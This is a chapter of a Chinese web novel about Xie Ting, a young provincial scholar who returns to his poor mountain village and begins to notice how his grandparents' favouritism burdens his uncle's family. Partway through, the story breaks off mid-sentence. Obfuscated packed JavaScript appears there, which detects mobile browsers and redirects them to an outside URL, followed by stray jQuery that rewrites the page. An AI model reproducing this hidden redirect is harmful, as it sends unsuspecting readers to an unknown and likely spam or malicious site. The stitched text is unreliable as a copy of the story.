谢渟的阿娘骨盆小,生他那年难产去世了。
刚刚长到九岁,阿爹又因为一场意外去找了他娘,就此留下孤零零的小谢渟跟着爷奶过。
谢奶奶名叫李静茹,是一个落魄秀才的女儿。性格不似名字那样安静,反而有点泼辣,不讲理。
谢爷爷叫谢壮子,土生土长的老农民,也是年轻时生的好,才娶到了新奶奶,两人成亲后生了两儿一女。
大女儿前些年嫁到了邻村。大儿子成亲后分家在村子里建了房,小儿子夫妻两出了意外独留下一个小孙子。
孩子是自己带大的,两个老人最疼的就是这个小孙子。
可怜他小小年纪就没了爹娘,平常在家偏爱的紧。有口好的恨不得嚼碎了喂给他吃,别人休想分到半口。
谢奶奶更是知道读书人有多风光。谢渟六岁就送去私塾开蒙,希望能给他们老谢家争光。
当然,谢渟也在读书上展现出了过人的天赋。上了几年的学堂就通过了童生试。后又为父守孝三年,两年前通过乡试,成了他们黄泥村的第一个举人老爷
这可把谢家两老口给高兴坏了,声称谢渟是他们老谢家的麒麟子,文曲星。
高兴虽高兴,但同时,供养一个读书人。莫说勒紧裤腰带。即便是敲骨吸髓,也未必能填满这个无底洞。
谢渟他爹做了几年货郎存了些银钱。到现在已经花得见了底,这些年的束脩不仅掏空了谢家的家底,也压垮了两个老人的脊背。
也就是去年谢渟成了举人,书坊给的抄书价才翻了一翻。日子才渐渐好了起来,但也仅仅只是在温饱线上而已,毕竟读书求学实在不易,无心再搞其他。
为了不负家人的期望,为了功名,谢渟算是读书读到废寝忘食。若一步中榜。那便是改换门庭。光宗耀祖的大事。
————
谢渟换好衣服。拿着布巾把头发擦了擦,用一根木簪挽在脑后。
谢奶奶已经从主屋端了吃食回来,一起跟过来的。还有他大伯。
“三郎,饿了吧?,阿奶给你炖了鸡蛋汤,快来喝点暖暖身子。”谢奶奶慈爱的说。
“你奶说的是,快些吃,不够灶屋的还有。”谢大伯也接着说。
谢大伯名叫谢有贵,大伯母叫许茉莉。谢渟头上还有两个大堂哥和一个小堂妹。
谢奶奶是个偏心的,虽说四个都是他的亲孙子孙女,但对老大家的三个孩子的确不如对谢渟上心。
毕竟是自己亲自带大的小孙子。那可是捧在手掌心里的个宝贝疙瘩,爷奶的小心肝。
为了让宝贝孙子读书,谢奶奶三天两头来这个大儿子家里顺东西。
直到现在谢有贵打短工的工钱以及每年卖粮食的银钱,都要上交一半给谢奶奶。这钱到底花到了哪里?大伙心知肚明。
所以许茉莉才会看自己这个侄子眼睛不是眼睛,鼻子不是鼻子。
谁家媳妇有她苦,自己的儿子都没得学堂上,当然她那两个不成气得也学不进去就是了。
当年一起送去学堂的还有大郎和二郎。那两个皮猴子没上两天,就偷摸跑出来去山里玩,害得一家子人好找,把许茉莉气的不行。
“够吃了,大伯”
谢渟用鸡蛋汤配着饼子吃,这味道他想了好多年。如今可算是吃到了嘴里,香的不得了。
谢爷爷和谢有贵坐在油灯下有一句没一句的说着休房子的事。
谢奶奶慈祥的看着自己的乖孙孙吃饼子,时不时关心一两句,就怕委屈了乖孙孙
“三郎,你这么急急忙忙回来,有没有跟夫子告假,明儿个只怕水还淹着,可别耽搁了课业,讨夫子不喜。”谢爷爷说
“阿爷,我已经请同窗与夫子说明,您不必担心。”
谢渟撒谎撒得面不改色,当时他刚刚回来,想起已经下了好几天的雨。
他们家房子又是那么个情况。情急之下,那里还记得告不告假。恨不得直接飞回来才好。
只等天晴了回去再与夫子请罪……
“好,说了就好。”
谢爷爷担心不已,生怕自个儿孙子惹夫子不快。要知道他们这县城只有这一家书院。要是被夫子赶出来……可了不得!
谢渟边喝汤边说:“这次我想在家里多待几日,等把房子修好了再回书院。”
谢奶奶立马跳了起来:“那怎么行,你个读书人那懂这些粗活,有你伯在,找几个人挖土修一修就成了,雨停了你就回书院,可不能耽误了学业”
谢渟也不吃饭了,扶着他奶奶坐下。“阿奶你别急,不差这几天,你孙儿可是文曲星,自然不会耽误课业,而且我想陪你和阿爷几天。”
几句话把谢奶奶哄成了翘嘴,顺着孙儿的力道。又坐回了位置上。
“那就这么说,明儿个我找点人去勾里挖黄泥,稻草先去村长家拿点,他家多,牛也吃不完,等今年秋收再还给他。”
“三郎,你去二郎那屋睡,我让你伯母给你放了床被子。”
说着谢有贵起了身,这会儿天色已经不早。过了睡觉的时辰,油灯一直点着也不是个事,等一下他那婆娘又要叨叨他一晚。
闻言谢爷爷点点头。披着外衫,想要送孙子过去。
谢渟急忙阻止。“阿爷,外面下雨,你赶紧歇下”
“好嘞好嘞……”谢爷爷说着把人送到了厢房门口。扶着门框往外看。
谢渟摆摆手叫他回去,自己去了另外一间厢房。床上的二郎睡得四仰八叉,鼾声如雷。
“……”
谢渟把被子铺开,裹住自己睡在了架子床的边缘。
——
第二天一早是被他大伯家都大公鸡叫醒的,昨天走了一个多时辰的山路,谢渟睡醒时谢二郎已经不在屋里了。
套上外套出门,虽还下着小雨但天边的乌云已经有散开的迹象。雨一停,水就涨不起来,今年的雨季算是熬出了头。
一家人坐在屋子里吃早食,谢奶奶瞧见谢渟过来眯着眼睛招呼他吃饭。
“渟儿,奶的乖孙,天还早,怎的不多睡一会?快到阿奶这里坐,阿奶给你蒸了鸡蛋。”
“我睡好了阿奶。”
谢渟走过去坐在谢奶奶的身边,手里立刻被塞了一碗热乎的蒸鸡蛋。
鸡蛋上淋了几滴酱油,闻起来非常香。视线扫过一圈。果然全家人只有谢小妹的碗里有鸡蛋,还比他碗里的少了许多。
黄泥村是个穷山村,原因是整个村子都在山沟沟里,几乎没有平地,因此种不了稻子,又因为地域偏南,无法种植小麦。所以是个穷山勾。
谢家的几块坡地每年都是种豆子,种香菇。豆子不值钱,两斤豆子换不了一斤糙米。一年到头都是吃糙米混豆子的豆饭。
好在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405835|200502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢爷爷会种香菇。到了季节挑去集市上卖,卖不完的晒成干继续卖,比新鲜的还贵些。
但不好卖就是了,便宜了不划算,贵了老百姓买不起,毕竟山里儿也有那野菇子。所以谢爷爷就种了两亩地,刚好能卖完,卖的钱自然是给谢渟读书用了。
谢有贵两口子也是种了香菇才建的这间青砖瓦房。但他两个儿子一个闺女,彩礼嫁妆都要不少钱,所以也舍不得用。
更何况还要分一部分给公婆养侄子。更是穷得叮当响。
家里的鸡蛋都是精贵物,一个就能换一文钱,哪里舍得吃。
平常不年不节谢小妹也是没得吃的,也就是今天谢奶奶争着要给谢渟蒸鸡蛋补身体。许茉莉才给自己闺女蒸了一个,想到这她就来气,谢渟碗里的可是两个。
谢渟没吃鸡蛋,他可以理解大伯母的想法,按理说他们已经分家,爹娘又是跟着小儿子住,种着小儿子的土地,本来只需要每月给个二三十文的孝敬即可。但现在一年少说要给四五两银子。还都给侄子花了,自己孩子半点光都没挨着。这换谁谁心里都堵得慌。
阿爷阿奶的不公谢渟看得明白,却从未插手,因为他是受益者,需要这笔读书钱。
也正因为他从未解释或关怀过大伯一家半分。大伯母才会认为即便以后谢渟有了高官俸禄,他们一家也不过是打秋风的穷亲戚。
谢渟太忙,已然忘了人情世故,以前想着等考上功名就好了,总有报答的机会。
现如今在异世虚长了十年的光阴。才明白自己错的有多离谱。差点把身边这点亲情耗干净。
幸好现在一切都还来得及,他谢渟还没有成为趴在亲人头上吸血的蛀虫。
鸡蛋羹有半个海碗那么多,谢渟先给他爷奶各舀了一勺,又给傍边的谢大郎和谢二郎各一勺。
谢奶奶见他要给全家分个遍,顿时急了,读书辛苦,这可是专门给他孙子补身体用的,那能这样分?
“阿奶,大哥二哥要干活,也需要补身体,我一个人吃不完。”
闻言谢奶奶虽有不开心?但也不好驳自个孙子的面子。
谢渟盛了一勺在自己碗里后,把装了鸡蛋的海碗放在了离他伯母最近的那面桌子上。
“阿奶蒸的鸡蛋羹最是滑嫩,伯母也尝尝。”
许茉莉嚼着干饼子,瞧了眼鸡蛋,瘪了瘪嘴。没说什么。给两个儿子一人又舀了一大勺。给自己舀了两勺。剩下的全倒进自己男人碗里。要不是怕自己男人两面为难。这个好人她可不会当这么久。
谢有贵想说什么又怕媳妇儿发火,只得尴尬地挠挠头。不好意思动碗里的鸡蛋羹。这都是孩子吃的东西,他一个老爷们那里需要?
看他这副没出息的模样。许茉莉更是气不打一处来。
“你一天要干那么多活,山坡上那几块地,那一块你不着手,吃两勺鸡蛋怎么了,还能有人说你不成,快吃”
后脑勺挨了一记,谢有贵低头扒饭。
几个孩子安静如鸡,吃饭的吃饭,喝汤都喝汤,谢渟轻轻拍了拍谢奶奶的手,安抚老人家快要暴动的心情,心里很想告诉他阿奶,他们真的不占理儿。大伯母说的没错。
谢爷爷谢奶奶年纪摆在那里。每年农忙时节。大伯和两个堂哥都得搭把手。不然靠两个老人能种得出多少粮食?更何况还是这走几步一个坡的山路。他自己上都不行。